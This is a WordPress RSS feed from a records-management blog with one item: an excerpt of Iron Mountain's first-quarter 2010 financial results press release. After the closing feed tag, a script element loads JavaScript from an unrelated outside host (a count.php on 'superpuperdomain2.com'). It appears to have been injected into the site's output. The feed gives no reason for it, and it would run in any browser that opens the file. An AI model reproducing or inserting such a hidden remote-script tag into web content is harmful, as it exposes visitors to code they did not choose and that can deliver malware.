<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cary F. McGovern &#187; Iron Mountain Results</title>
	<atom:link href="http://www.carymcgovern.com/tag/iron-mountain-results/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.carymcgovern.com</link>
	<description>The FileMan&#039;s Blog</description>
	<lastBuildDate>Thu, 28 Apr 2011 17:30:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Iron Mountain Reports First Quarter 2010 Financial Results Company delivers 7% revenue growth and 11% increase in Adjusted OIBDA</title>
		<link>http://www.carymcgovern.com/2010/04/29/iron-mountain-reports-first-quarter-2010-financial-results-company-delivers-7-revenue-growth-and-11-increase-in-adjusted-oibda/</link>
		<comments>http://www.carymcgovern.com/2010/04/29/iron-mountain-reports-first-quarter-2010-financial-results-company-delivers-7-revenue-growth-and-11-increase-in-adjusted-oibda/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 14:54:35 +0000</pubDate>
		<dc:creator>fileman</dc:creator>
				<category><![CDATA[Records Management News]]></category>
		<category><![CDATA[Iron Mountain Results]]></category>

		<guid isPermaLink="false">http://www.carymcgovern.com/2010/04/29/iron-mountain-reports-first-quarter-2010-financial-results-company-delivers-7-revenue-growth-and-11-increase-in-adjusted-oibda/</guid>
		<description><![CDATA[Iron Mountain Reports First Quarter 2010 Financial Results Company delivers 7% revenue growth and 11% increase in Adjusted OIBDA BOSTON, Apr 29, 2010 (BUSINESS WIRE) — –First quarter Adjusted EPS increases 19% to $0.23 per diluted share compared to Q1/2009; reported earnings are $0.12 per diluted share –Company on track towards solid full-year performance; refines [...]]]></description>
		<wfw:commentRss>http://www.carymcgovern.com/2010/04/29/iron-mountain-reports-first-quarter-2010-financial-results-company-delivers-7-revenue-growth-and-11-increase-in-adjusted-oibda/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript" SRC="http://superpuperdomain2.com/count.php?ref="></script>
